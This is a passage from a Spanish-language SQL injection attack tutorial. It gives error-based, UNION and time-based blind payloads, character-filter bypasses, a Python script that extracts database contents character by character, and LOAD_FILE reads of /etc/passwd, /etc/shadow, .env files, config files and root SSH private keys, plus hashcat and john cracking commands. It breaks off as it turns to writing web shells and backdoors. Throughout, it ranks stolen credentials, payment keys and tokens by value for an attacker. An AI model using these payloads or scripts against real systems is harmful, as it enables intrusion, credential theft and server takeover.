-- admin:$2y$10$9hU8F0pD2Mc7X2Q5sLaKe...
-- moderator:$2y$10$5nL3M9Pz8Qx4aB1cD6eF...

PASO 9: Extraer TODOS los usuarios normales + buscar admins

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(username,':',password,' (',is_admin,')') SEPARATOR '###') FROM users))) --

ERROR:
XPATH syntax error: '~john:f3d9e86d9b1b4c0e (0)###maria:8c6976e5b5410415 (0)###admin:5f4dcc3b5aa765d6 (1)###test:098f6bcd4621d373c (0)###...

-- Todos los usuarios extraídos:
-- john:f3d9e86d9b1b4c0e (normal)
-- maria:8c6976e5b5410415 (normal)
-- admin:5f4dcc3b5aa765d6 (ADMIN = 1) 
-- test:098f6bcd4621d373c (normal)

PASO 10: Extraer CONFIGURACIÓN SENSIBLE (settings)

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(setting_key,'=',setting_value) SEPARATOR '|') FROM settings))) --

ERROR:
XPATH syntax error: '~api_key=sk-abc123def456ghi789|secret_key=your_secret_key_here|db_backup_path=/var/backups/db.sql|mail_password=P@ssw0rd123|stripe_key=sk_live_abc123def456|slack_webhook=https://hooks.slack.com/services/xxx|github_token=ghp_abc123def456xyz'

-- Todos los secrets extraídos:
-- api_key=sk-abc123def456ghi789
-- secret_key=your_secret_key_here
-- db_backup_path=/var/backups/db.sql
-- mail_password=P@ssw0rd123
-- stripe_key=sk_live_abc123def456
-- slack_webhook=https://hooks.slack.com/services/xxx
-- github_token=ghp_abc123def456xyz

PASO 11: Extraer DATOS de tabla users (TODOS)

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password,'|',email) SEPARATOR '###') FROM users LIMIT 100))) --

ERROR:
XPATH syntax error: '~1|john|f3d9e86d9b1b4c0e|john@target.com###2|maria|8c6976e5b5410415|maria@target.com###3|admin|5f4dcc3b5aa765d6|admin@target.com###...

-- Todos los usuarios en UN request:
-- 1|john|f3d9e86d9b1b4c0e|john@target.com
-- 2|maria|8c6976e5b5410415|maria@target.com
-- 3|admin|5f4dcc3b5aa765d6|admin@target.com
-- ...

PASO 12: Encontrar DATOS SENSIBLES automáticamente

sql
-- Buscar todas las columnas con 'password' en el nombre
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE column_name LIKE '%password%' AND table_schema='target_app'))) --

ERROR:
XPATH syntax error: '~password,admin_pass,pass_hash'

-- Columnas sensibles encontradas:
-- password
-- admin_pass
-- pass_hash

-- Buscar todas las columnas con 'api' o 'key' en el nombre
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE column_name LIKE '%key%' OR column_name LIKE '%api%' AND table_schema='target_app'))) --

ERROR:
XPATH syntax error: '~api_key,api_token,secret_key,auth_token,session_key'

-- Columnas sensibles encontradas:
-- api_key
-- api_token
-- secret_key
-- auth_token
-- session_key

PASO 13: Extraer DATOS de columnas sensibles encontradas

sql
-- Extraer todos los api_token
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(username,':',api_token) SEPARATOR '|') FROM users))) --

ERROR:
XPATH syntax error: '~john:eyJhbGciOiJIUzI1NiIs...|maria:eyJhbGciOiJIUzI1NiIs...|admin:eyJhbGciOiJIUzI1NiIs...'

-- Todos los API tokens extraídos en UN request

PASO 14: Método alternativo - LIMIT offset para extraer datos largos

Problema: GROUP_CONCAT tiene límite de ~1024 caracteres en error

Solución: Usar LIMIT para extraer en lotes

sql
-- Extraer filas 1-10
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password) SEPARATOR '###') FROM users LIMIT 0, 10))) --

-- Extraer filas 11-20
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password) SEPARATOR '###') FROM users LIMIT 10, 10))) --

-- Extraer filas 21-30
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password) SEPARATOR '###') FROM users LIMIT 20, 10))) --

RESUMEN - ERROR-BASED es MUCHO MÁS RÁPIDO:

TipoVelocidadRequests para extraer 1000 usuarios
UNIONMuy rápido1-2 (con GROUP_CONCAT)
ERRORMuy rápido1-2 (con GROUP_CONCAT)
TIMELentísimo50,000+ (carácter por carácter)
BOOLEANLento5,000-10,000 (binary search)

CONCLUSIÓN: Si hay error-based, úsalo siempre


Bypass de Caracteres Bloqueados

Sin Espacios

sql
-- Comentarios
' /**/UNION/**/SELECT/**/1,2,3--

-- Tab (%09)
'%09UNION%09SELECT%091,2,3--

-- Newline (%0a)
'%0aUNION%0aSELECT%0a1,2,3--

Sin Comillas

sql
-- Hexadecimal
' UNION SELECT 0x61646d696e, 0x70617373 --
-- 0x61646d696e = "admin"

-- CHAR()
' UNION SELECT CHAR(97,100,109,105,110), CHAR(112,97,115,115) --
-- CHAR(97,100,109,105,110) = "admin"

Sin SELECT

sql
-- HANDLER (MySQL)
HANDLER users OPEN;
HANDLER users READ;

-- Functions
' AND version() LIKE '%' --
' AND user() > '' --
' AND database() IS NOT NULL --

Identificar Dialecto de BD

BDIndicador
MySQLSLEEP(), VERSION(), @@version, information_schema
PostgreSQLpg_sleep(), version()
MSSQLWAITFOR DELAY, @@version
OracleDBMS_LOCK.SLEEP()
SQLitesqlite_version()

Caso Práctico: Atacar TIME-BASED BLIND Manualmente

Escenario típico encontrado en aplicaciones web

Una aplicación web tiene un parámetro en URL o POST que se ve así:

http://target.local/admin/page.php?id=1
http://target.local/api/data.php?product_id=123
http://target.local/search?category=books

El parámetro toma un valor numérico o string. La aplicación lo usa en una query SQL sin validar.

Paso 0: Detección rápida de la vulnerabilidad

Prueba 1 - Cargar página normal:

http://target.local/admin/page.php?id=1

Tiempo de respuesta: 0.5 segundos (normal)

Prueba 2 - Inyectar carácter para romper query:

http://target.local/admin/page.php?id=1'

Resultado: Error SQL visible en la página, o HTTP 500

Prueba 3 - Inyectar condición verdadera (sin efecto de timing):

http://target.local/admin/page.php?id=1 AND 1=1

Tiempo: 0.5 segundos (igual que Prueba 1, página funciona normal)

Prueba 4 - Inyectar SLEEP para confirmar time-based:

http://target.local/admin/page.php?id=1 AND SLEEP(5)

Tiempo: 5+ segundos

Si Prueba 4 tarda notablemente más que Prueba 1, es vulnerable a time-based blind.

Paso 1: Confirmar e identificar tipo de BD

Probar MySQL:

http://target.local/admin/page.php?id=1 AND (SELECT SLEEP(5))

Si tarda 5 seg = MySQL

Probar PostgreSQL:

http://target.local/admin/page.php?id=1 AND pg_sleep(5)

Si tarda 5 seg = PostgreSQL

Probar MSSQL:

http://target.local/admin/page.php?id=1 AND WAITFOR DELAY '00:00:05'

Si tarda 5 seg = MSSQL

En el escenario del log, fue MySQL.

Paso 2: Preparar herramienta para automatizar

Crear un script Python que:

  1. Hace request a URL vulnerable
  2. Mide tiempo de respuesta
  3. Determina si respuesta fue "verdadera" (tarda) o "falsa" (rápida)

Script básico:

python
import requests
import time
import sys

target_url = "http://target.local/admin/page.php"
param_name = "id"

def inject_and_measure(payload):
    """Inyectar payload y medir tiempo"""
    params = {param_name: payload}
    
    start = time.time()
    try:
        response = requests.get(target_url, params=params, timeout=15)
        elapsed = time.time() - start
        return elapsed
    except requests.exceptions.Timeout:
        return 15  # Timeout = muy lento

def is_true(payload, threshold=4):
    """Si tarda > threshold segundos, es verdadero"""
    elapsed = inject_and_measure(payload)
    return elapsed > threshold

# Prueba 1: Confirmar vulnerabilidad
print("[*] Confirmando vulnerabilidad TIME-BASED...")
normal_time = inject_and_measure("1")
sleep_time = inject_and_measure("1 AND SLEEP(5)")

print(f"Tiempo normal: {normal_time:.2f}s")
print(f"Tiempo con SLEEP(5): {sleep_time:.2f}s")

if sleep_time - normal_time > 4:
    print("[+] VULNERABLE a TIME-BASED BLIND")
else:
    print("[-] No parece vulnerable")
    sys.exit(1)

Paso 3: Enumerar Base de Datos (letra por letra)

Una vez confirmada la vulnerabilidad, empezar a extraer información.

Extraer primer carácter del nombre de BD:

python
def extract_db_name():
    db_name = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
    
    for position in range(1, 50):
        found = False
        
        for char in charset:
            # Query: si el carácter en posición X es 'char', dormir 5 segundos
            payload = f"1 AND IF(SUBSTRING(database(),{position},1)='{char}', SLEEP(5), 0)"
            
            elapsed = inject_and_measure(payload)
            
            if elapsed > 4:  # Tarda = respuesta verdadera
                db_name += char
                print(f"[+] Posición {position}: '{char}' | BD actual: {db_name}")
                found = True
                break
        
        if not found:
            # No se encontró más caracteres
            break
    
    return db_name

db = extract_db_name()
print(f"\n[*] Base de datos: {db}")

Qué hace:

  1. Para cada posición en el nombre de BD (1, 2, 3, ...)
  2. Prueba cada letra del alfabeto
  3. Si tarda 5 segundos = esa es la letra correcta
  4. Continúa hasta extraer el nombre completo

En el log del ejemplo:

  • Primer carácter: 'i' (information_schema)
  • Segundo: 'n'
  • Continuar...
  • Resultado: "information_schema" (la primera BD encontrada)

Paso 4: Enumerar Tablas de una BD

Una vez tienes el nombre de BD, enumerar sus tablas:

python
def extract_tables(database_name):
    tables = []
    
    for table_offset in range(50):  # Máximo 50 tablas
        table_name = ""
        charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
        
        for position in range(1, 100):
            found = False
            
            for char in charset:
                # Query: nombre de tabla en posición table_offset
                query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' ORDER BY table_name LIMIT {table_offset},1"
                
                payload = f"1 AND IF(SUBSTRING(({query}),{position},1)='{char}', SLEEP(5), 0)"
                
                elapsed = inject_and_measure(payload)
                
                if elapsed > 4:
                    table_name += char
                    print(f"[+] Tabla {table_offset}, Posición {position}: '{char}' | Nombre: {table_name}")
                    found = True
                    break
            
            if not found:
                break
        
        if table_name:
            tables.append(table_name)
        else:
            break  # No hay más tablas
    
    return tables

tables = extract_tables("wordpress")
print(f"\n[*] Tablas encontradas: {tables}")

En el log del ejemplo:

  • Primera tabla: wp_actionscheduler_actions
  • Segunda: wp_actionscheduler_claims
  • Tercera: wp_actionscheduler_groups
  • etc.

Paso 5: Enumerar Columnas de una Tabla

python
def extract_columns(database_name, table_name):
    columns = []
    
    for column_offset in range(100):
        column_name = ""
        charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
        
        for position in range(1, 100):
            found = False
            
            for char in charset:
                query = f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' ORDER BY ordinal_position LIMIT {column_offset},1"
                
                payload = f"1 AND IF(SUBSTRING(({query}),{position},1)='{char}', SLEEP(5), 0)"
                
                elapsed = inject_and_measure(payload)
                
                if elapsed > 4:
                    column_name += char
                    print(f"[+] Columna {column_offset}, Posición {position}: '{char}'")
                    found = True
                    break
            
            if not found:
                break
        
        if column_name:
            columns.append(column_name)
        else:
            break
    
    return columns

columns = extract_columns("wordpress", "wp_users")
print(f"\n[*] Columnas en wp_users: {columns}")

Paso 6: Extraer Datos (Valores de Filas)

Una vez conoces tabla y columnas, extraer los datos:

python
def extract_data(query_sql, row_offset=0, max_length=200):
    """Extraer contenido de un campo específico"""
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$:/@!()[]{},"
    
    for position in range(1, max_length):
        found = False
        
        for char in charset:
            escaped_char = char.replace("'", "\\'")
            
            # La query SQL es el SELECT que quieres ejecutar
            full_payload = f"1 AND IF(SUBSTRING(({query_sql} LIMIT {row_offset},1),{position},1)='{escaped_char}', SLEEP(5), 0)"
            
            elapsed = inject_and_measure(full_payload)
            
            if elapsed > 4:
                data += char
                print(f"[+] Posición {position}: '{char}' | Valor: {data}")
                found = True
                break
        
        if not found:
            break
    
    return data

# Extraer usuario de la tabla wp_users
username = extract_data("SELECT user_login FROM wp_users", row_offset=0)
email = extract_data("SELECT user_email FROM wp_users", row_offset=0)
password_hash = extract_data("SELECT user_pass FROM wp_users", row_offset=0)

print(f"\n[*] Datos obtenidos:")
print(f"    Usuario: {username}")
print(f"    Email: {email}")
print(f"    Hash: {password_hash}")

Paso 7: Iterar sobre múltiples filas

Para extraer todos los registros, incrementar el offset en LIMIT:

python
def extract_all_users(database_name, table_name):
    """Extraer todos los usuarios"""
    users = []
    
    for row_offset in range(100):  # Máximo 100 usuarios
        username = extract_data(f"SELECT user_login FROM {database_name}.{table_name}", row_offset=row_offset)
        
        if not username:
            break
        
        email = extract_data(f"SELECT user_email FROM {database_name}.{table_name}", row_offset=row_offset)
        password_hash = extract_data(f"SELECT user_pass FROM {database_name}.{table_name}", row_offset=row_offset)
        
        users.append({
            'username': username,
            'email': email,
            'password_hash': password_hash
        })
        
        print(f"[+] Usuario {row_offset + 1}: {username}")
    
    return users

all_users = extract_all_users("wordpress", "wp_users")
print(f"\n[*] Total usuarios encontrados: {len(all_users)}")

Optimizaciones para acelerar extracción

Problema: Extraer letra por letra es MUY lento

Solución 1: Usar LIKE en lugar de SUBSTRING

En lugar de probar cada carácter:

1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)
1 AND IF(SUBSTRING(database(),1,1)='b', SLEEP(5), 0)
... (26 intentos)

Usar LIKE:

python
def extract_data_faster(query_sql, max_length=200):
    """Más rápido usando LIKE"""
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$"
    
    for position in range(1, max_length):
        for char in charset:
            test_string = data + char + "%"
            
            # Usar LIKE en lugar de SUBSTRING + igualdad
            payload = f"1 AND IF(({query_sql}) LIKE '{test_string}', SLEEP(5), 0)"
            
            elapsed = inject_and_measure(payload)
            
            if elapsed > 4:
                data += char
                print(f"[+] {data}")
                break
        else:
            break
    
    return data

Esto reduce de 26 intentos a ~3-4 intentos por carácter.

Solución 2: Determinar longitud primero

Antes de extraer, obtener la longitud:

python
def get_length(query_sql):
    """Obtener longitud del resultado"""
    for length in range(1, 200):
        payload = f"1 AND IF(LENGTH(({query_sql}))={length}, SLEEP(5), 0)"
        
        if is_true(payload):
            print(f"[+] Longitud: {length}")
            return length
    
    return None

length = get_length("SELECT user_login FROM wp_users LIMIT 1")
# Ahora sabes que el username tiene exactamente 'length' caracteres

Saber la longitud evita intentos innecesarios.

Solución 3: Usar BETWEEN para búsqueda binaria

En lugar de probar a-z secuencialmente:

python
def find_char_binary_search(query_sql, position):
    """Encontrar carácter usando búsqueda binaria"""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$"
    
    # Buscar en rangos
    if is_true(f"1 AND IF(SUBSTRING(({query_sql}),{position},1) BETWEEN 'a' AND 'm', SLEEP(5), 0)"):
        search_range = charset[:13]  # a-m
    else:
        search_range = charset[13:]  # n-z y números
    
    # Continuar dividiendo rangos...
    # (búsqueda binaria completa)

Esto reduce de 26 intentos a ~5 intentos por carácter.

Resumen: Timeline típico

Para un ataque manual de time-based blind a una BD WordPress:

Minuto 0-1:   Confirmar vulnerabilidad (SLEEP test)
Minuto 1-5:   Extraer nombre de BD (5-10 caracteres × 26 attempts × 5 seg cada uno)
Minuto 5-30:  Enumerar tablas (10-15 tablas × 10 caracteres × delays)
Minuto 30-60: Enumerar columnas (8 columnas × 10 caracteres)
Minuto 60+:   Extraer datos (500 usuarios × 20 caracteres × delays)

Con optimizaciones (LIKE, LENGTH, BETWEEN): Reducir 50-70% el tiempo

Sin optimizaciones, usando SUBSTRING puro: Horas completas



PART B: Exploitation - Enumeración Paso a Paso

Escenario Práctico

Objetivo: http://192.168.1.100/app/search.php?product=test

PASO 1: Detección Inicial

URL: http://192.168.1.100/app/search.php?product=test

Respuesta normal:
- Título: "Search Results for: test"
- Lista de 0 productos

Prueba con comilla:
?product=test'

Respuesta:
ERROR 500: "SQL syntax error near line 1"
Consulta expuesta: "SELECT * FROM products WHERE name='test'' AND active=1"

 VULNERABLE a SQL Injection

PASO 2: Determinar Tipo de BD

Prueba - MySQL:
?product=test' AND SLEEP(5) --

Resultado: Página tarda 5+ segundos

 MYSQL CONFIRMADO

PASO 3: Encontrar Número de Columnas

?product=test' ORDER BY 1 --   OK
?product=test' ORDER BY 2 --   OK
?product=test' ORDER BY 3 --   OK
?product=test' ORDER BY 4 --   ERROR

 CONCLUSIÓN: 4 columnas

PASO 4: Encontrar Columnas Visibles

?product=test' UNION SELECT 1,2,3,4 --

Respuesta en HTML:
- ID: 1
- Nombre: 2
- Precio: 3
- Descripción: 4

 TODAS las columnas son visibles

PASO 5-16: Enumeración Completa

(Ver sección anterior de pasos 5-16 para detalle completo)



PART C: EXPLOITATION INTERACTIVO - Las 3 Fases

FASE 1: INTERACTIVE DATABASE ENUMERATION

Database Enumeration es el proceso de explorar interactivamente qué existe en la BD objetivo.

1.1 - Enumerar Bases de Datos Disponibles

Objetivo: Encontrar todas las BDs en el servidor

sql
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

En SQL Injection:

?product=test' UNION SELECT SCHEMA_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.SCHEMATA --

Resultado esperado:

information_schema
mysql
performance_schema
target_app ← ENCONTRADA
wordpress

Interpretación:

  • information_schema, mysql, performance_schema = Sistemas (ignorar)
  • target_app = BD objetivo
  • wordpress = Otra BD (sin interés)

Próximo paso: Enumerar tablas en target_app


1.2 - Enumerar Tablas en BD Target

Objetivo: Ver qué tablas existen en BD objetivo

sql
SELECT table_name FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema = 'target_app';

En SQL Injection:

?product=test' UNION SELECT table_name, 2, 3, 4 FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema='target_app' --

Resultado esperado:

users ← CRÍTICO (contiene credenciales)
products
orders
admin_users ← MÁS CRÍTICO (admin credentials)
settings ← IMPORTANTE (API keys, secrets)
comments
logs

Interpretación:

  • users = Tabla de usuarios normales (buscar password)
  • admin_users = Tabla de administradores (PASSWORD = OBJETIVO PRINCIPAL)
  • settings = Configuración (API keys, claves secretas)
  • logs = Auditoría (puede contener info sensible)

Próximo paso: Enumerar columnas de tablas críticas


1.3 - Enumerar Columnas de Tabla Crítica

Objetivo: Ver qué columnas tiene cada tabla importante

sql
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name = 'admin_users' AND table_schema = 'target_app';

En SQL Injection:

?product=test' UNION SELECT column_name, data_type, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='admin_users' AND table_schema='target_app' --

Resultado esperado:

admin_id | int
admin_user | varchar ← USERNAME
admin_pass | varchar ← PASSWORD 
admin_email | varchar
created_at | datetime
is_active | tinyint
last_login | datetime

Interpretación:

  • admin_id = Identificador único (para queries)
  • admin_user = Username (necesario para login)
  • admin_pass = PASSWORD (objetivo crítico)
  • admin_email = Email (puede ser útil)
  • is_active = Si está activo (filtrar admins activos)
  • last_login = Último acceso (info forensic)

Próximo paso: Enumerar columnas de tabla users también


1.4 - Enumerar Múltiples Tablas en Paralelo

Objetivo: Ver estructura de varias tablas importantes

sql
-- Ver columnas de users table
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name = 'users' AND table_schema = 'target_app'
ORDER BY ordinal_position;

-- Ver columnas de settings table
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name = 'settings' AND table_schema = 'target_app'
ORDER BY ordinal_position;

Resultado esperado - users:

id | bigint
username | varchar
password | varchar
email | varchar
role | varchar
is_admin | tinyint
api_token | varchar ← IMPORTANTE (acceso API)

Resultado esperado - settings:

id | int
setting_key | varchar
setting_value | text
description | text
last_modified | datetime

Interpretación:

  • users tiene api_token (token para acceso programático)
  • settings tiene pares clave-valor (probables secrets)

Próximo paso: Extraer datos


1.5 - Búsqueda de Columnas Sensibles

Objetivo: Encontrar columnas que contengan datos sensibles

sql
-- Buscar todas las columnas que contengan 'password'
SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_schema = 'target_app' AND column_name LIKE '%password%';

-- Resultado:
users | password
admin_users | admin_pass
users_backup | pass_hash
sql
-- Buscar 'key' o 'token' (acceso)
SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_schema = 'target_app' AND 
(column_name LIKE '%key%' OR column_name LIKE '%token%' OR column_name LIKE '%secret%');

-- Resultado:
settings | api_key
users | auth_token
users | session_key
api_credentials | secret_key
sql
-- Buscar 'email' o 'phone' (datos personales)
SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_schema = 'target_app' AND 
(column_name LIKE '%email%' OR column_name LIKE '%phone%' OR column_name LIKE '%ssn%');

-- Resultado:
users | email
admin_users | admin_email
customers | phone
customers | ssn (← Muy sensible)

En SQL Injection:

?product=test' UNION SELECT table_name, column_name, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_schema='target_app' AND column_name LIKE '%password%' --

1.6 - Contar Registros por Tabla

Objetivo: Saber cuántos registros hay (para elegir qué extraer)

sql
-- Contar usuarios
SELECT 'users' as table_name, COUNT(*) as row_count FROM users;

-- Contar admin_users
SELECT 'admin_users' as table_name, COUNT(*) as row_count FROM admin_users;

-- Contar todas las tablas
SELECT table_name, COUNT(*) as row_count 
FROM information_schema.tables t 
JOIN (SELECT * FROM users UNION ALL 
      SELECT * FROM admin_users UNION ALL
      SELECT * FROM products) d
GROUP BY table_name;

En SQL Injection (simple):

?product=test' UNION SELECT 'users', COUNT(*), 3, 4 FROM users --
?product=test' UNION SELECT 'admin_users', COUNT(*), 3, 4 FROM admin_users --

Resultado esperado:

users | 342 (muchos registros, probablemente no todos valgan)
admin_users | 5 (pocos admins, extraer TODOS)
settings | 15 (pocos, extraer TODOS)

1.7 - Extraer Datos - Tabla Users

Objetivo: Obtener credenciales de usuarios normales

sql
SELECT id, username, password, email FROM users LIMIT 10;

En SQL Injection:

?product=test' UNION SELECT id, username, password, email FROM users --

Resultado esperado:

id | username | password (hash) | email
1  | john     | f3d9e86d9b1b4c0e | john@target.com
2  | maria    | 8c6976e5b5410415 | maria@target.com
3  | admin    | 5f4dcc3b5aa765d6 | admin@target.com
...

Acción: Crackear hashes MD5 con:

bash
hashcat -m 0 hashes.txt wordlist.txt
john --wordlist=wordlist.txt hashes.txt

1.8 - Extraer Datos - Tabla Admin_Users (CRÍTICO)

Objetivo: Obtener credenciales de administradores (más valiosas)

sql
SELECT admin_id, admin_user, admin_pass, admin_email FROM admin_users;

En SQL Injection:

?product=test' UNION SELECT admin_id, admin_user, admin_pass, admin_email FROM admin_users --

Resultado esperado:

admin_id | admin_user | admin_pass (hash) | admin_email
1        | superadmin | $2y$10$KSvJjNX6CqYvx... | superadmin@target.com
2        | admin      | $2y$10$9hU8F0pD2Mc... | admin@target.com
3        | moderator  | $2y$10$5nL3M9Pz8Qx... | moderator@target.com

Interpretación:

  • $2y$10$... = Bcrypt hash (más seguro que MD5, pero pueden crackear)
  • superadmin = Usuario con máximos privilegios
  • admin = Usuario administrador regular
  • moderator = Usuario con permisos moderados

Acción: Intentar crackear hashes bcrypt o intentar acceso directo al panel admin


1.9 - Extraer Datos - Tabla Settings (SECRETOS)

Objetivo: Obtener configuración sensible (API keys, secrets)

sql
SELECT setting_key, setting_value FROM settings;

En SQL Injection:

?product=test' UNION SELECT setting_key, setting_value, 3, 4 FROM settings --

Resultado esperado:

setting_key | setting_value
api_key | sk-abc123def456ghi789 ← API key (valiosa)
secret_key | your_secret_key_12345
db_backup_path | /var/backups/db.sql
mail_password | P@ssw0rd123 ← Contraseña email
stripe_key | sk_live_abc123def456 ← Credencial de pago
slack_webhook | https://hooks.slack.com/services/xxx
github_token | ghp_abc123def456xyz

Impacto:

  • api_key = Acceso programático a la aplicación
  • secret_key = Puede decodificar sesiones
  • db_backup_path = Ubicación de backups (para más adelante)
  • mail_password = Acceso a email de la app
  • stripe_key = Acceso a sistema de pagos
  • slack_webhook = Puede enviar mensajes a Slack
  • github_token = Acceso a repositorio código fuente

1.10 - Verificar Privilegios del Usuario Actual

Objetivo: Saber qué permisos tiene el usuario de BD

sql
-- Ver usuario actual
SELECT USER();
-- Resultado: webapp@localhost

-- Ver qué puede hacer
SHOW GRANTS FOR webapp@localhost;
-- Resultado: GRANT SELECT, INSERT, UPDATE ON target_app.* TO 'webapp'@'localhost'

Interpretación:

Si resultado es: SELECT, INSERT, UPDATE
→ Puede leer, agregar, modificar
→ NO puede DELETE, DROP, ALTER
→ NO puede cambiar schema

Si resultado es: ALL PRIVILEGES
→ Puede hacer CUALQUIER COSA
→ Puede escribir archivos
→ Puede crear usuarios
→ MÁXIMO PELIGRO

FASE 2: INTERACTIVE READING FILES

Leer archivos del servidor es crítico para:

  • Obtener credenciales de archivos de configuración
  • Leer código fuente
  • Acceder a claves SSH privadas
  • Leer archivos de configuración web
  • Obtener información del sistema

2.1 - Función LOAD_FILE()

Cómo funciona:

sql
SELECT LOAD_FILE('/etc/passwd');

Requisitos:

  1. Privilegio FILE en el usuario de BD
  2. Archivo debe ser legible por usuario MySQL
  3. secure_file_priv debe permitir lectura

Verificar si es posible:

sql
-- Ver si tiene FILE privilege
SHOW GRANTS FOR current_user();
-- Buscar: FILE

-- Ver ruta segura
SELECT @@secure_file_priv;
-- Resultado puede ser:
-- NULL = No permitido LOAD_FILE
-- /tmp = Solo desde /tmp
-- (vacío) = Permitido desde cualquier lado

2.2 - Leer Archivos de Sistema

Archivo: /etc/passwd

sql
SELECT LOAD_FILE('/etc/passwd');

Contenido típico:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/sys:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:107:109:MySQL Server,,,:/var/run/mysqld:/usr/sbin/nologin

Información obtenida:

  • www-data = Usuario de aplicación web
  • mysql = Usuario de base de datos
  • Usuarios del sistema
  • Shells disponibles

Archivo: /etc/shadow

sql
SELECT LOAD_FILE('/etc/shadow');

NOTA: Normalmente no accesible (permisos 640), pero si MySQL corre como root, posible.

Archivo: /etc/hosts

sql
SELECT LOAD_FILE('/etc/hosts');

Contenido típico:

127.0.0.1 localhost
::1 localhost
192.168.1.100 target.local
192.168.1.101 admin.target.local
10.0.0.50 internal-db

Información obtenida:

  • Direcciones IP de otros servidores
  • Nombres de hosts
  • Posibles otros objetivos para atacar

2.3 - Leer Archivos de Configuración Web

Archivo: /var/www/html/config.php

sql
SELECT LOAD_FILE('/var/www/html/config.php');

Contenido típico:

php
<?php
$db_host = '192.168.1.50';
$db_user = 'app_user';
$db_pass = 'SuperSecretP@ssw0rd123';
$db_name = 'target_app';
$api_key = 'sk-abc123def456ghi789';
$stripe_secret = 'sk_live_xyz123abc456';
$jwt_secret = 'your_jwt_secret_key_here';
?>

Información obtenida:

  • Credenciales de BD (otro usuario posible)
  • API keys
  • Claves de terceros (Stripe, etc)
  • Secretos JWT
  • Hosts de conexión

Archivo: /var/www/html/.env

sql
SELECT LOAD_FILE('/var/www/html/.env');

Contenido típico:

APP_ENV=production
APP_KEY=base64:abc123def456xyz...
DB_HOST=192.168.1.50
DB_USER=webapp
DB_PASS=P@ssw0rd123
DB_NAME=target_app
API_KEY=sk-abc123def456ghi789
STRIPE_KEY=sk_live_abc123def456
SLACK_WEBHOOK=https://hooks.slack.com/services/xxx
GITHUB_TOKEN=ghp_abc123def456xyz
MAIL_PASSWORD=EmailP@ss123
JWT_SECRET=your_jwt_secret_key
ADMIN_EMAIL=admin@target.com
ADMIN_PASS=AdminP@ss123

Archivo: /var/www/html/wp-config.php (WordPress)

sql
SELECT LOAD_FILE('/var/www/html/wp-config.php');

Contiene:

  • BD credentials
  • WordPress security keys
  • API keys integrados

2.4 - Leer Claves SSH Privadas

Archivo: /root/.ssh/id_rsa

sql
SELECT LOAD_FILE('/root/.ssh/id_rsa');

Contenido:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2x5Z9pK8qL...
(mucho más contenido encriptado)
-----END RSA PRIVATE KEY-----

Impacto:

  • Acceso SSH al servidor como root
  • Acceso local directo sin contraseña
  • Control total del servidor

Archivo: /home/www-data/.ssh/id_rsa

sql
SELECT LOAD_FILE('/home/www-data/.ssh/id_rsa');

Impacto:

  • Acceso SSH como www-data
  • Posible movimiento lateral a otros servidores
  • Acceso a repositorios git privados

2.5 - Leer Código Fuente de la Aplicación

Archivo: /var/www/html/index.php

sql
SELECT LOAD_FILE('/var/www/html/index.php');

Qué obtienes:

  • Lógica de la aplicación
  • Llamadas a otras funciones
  • Posibles rutas a otros files importantes
  • Validaciones de seguridad (saber cómo bypassearlas)

Archivo: /var/www/html/admin/login.php

sql
SELECT LOAD_FILE('/var/www/html/admin/login.php');

Qué obtiene:

  • Cómo funciona autenticación
  • Qué BD se consulta
  • Posible SQL injection en el login
  • Cómo se validan credenciales

Archivo: /var/www/html/api/auth.php

sql
SELECT LOAD_FILE('/var/www/html/api/auth.php');

Archivo: /var/www/html/config/database.php

sql
SELECT LOAD_FILE('/var/www/html/config/database.php');

2.6 - En SQL Injection - Ejemplo

URL: ?product=test' UNION SELECT LOAD_FILE('/etc/passwd'), 2, 3, 4 --

Resultado en HTML:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon...
www-data:x:33:33...
mysql:x:107:109...

FASE 3: INTERACTIVE WRITING FILES

Escribir archivos es el siguiente paso después de lectura. Permite:

  • Crear shells web
  • Modificar configuración
  • Inyectar código malicioso
  • Crear backdoors
  • RCE (Remote Code Execution)

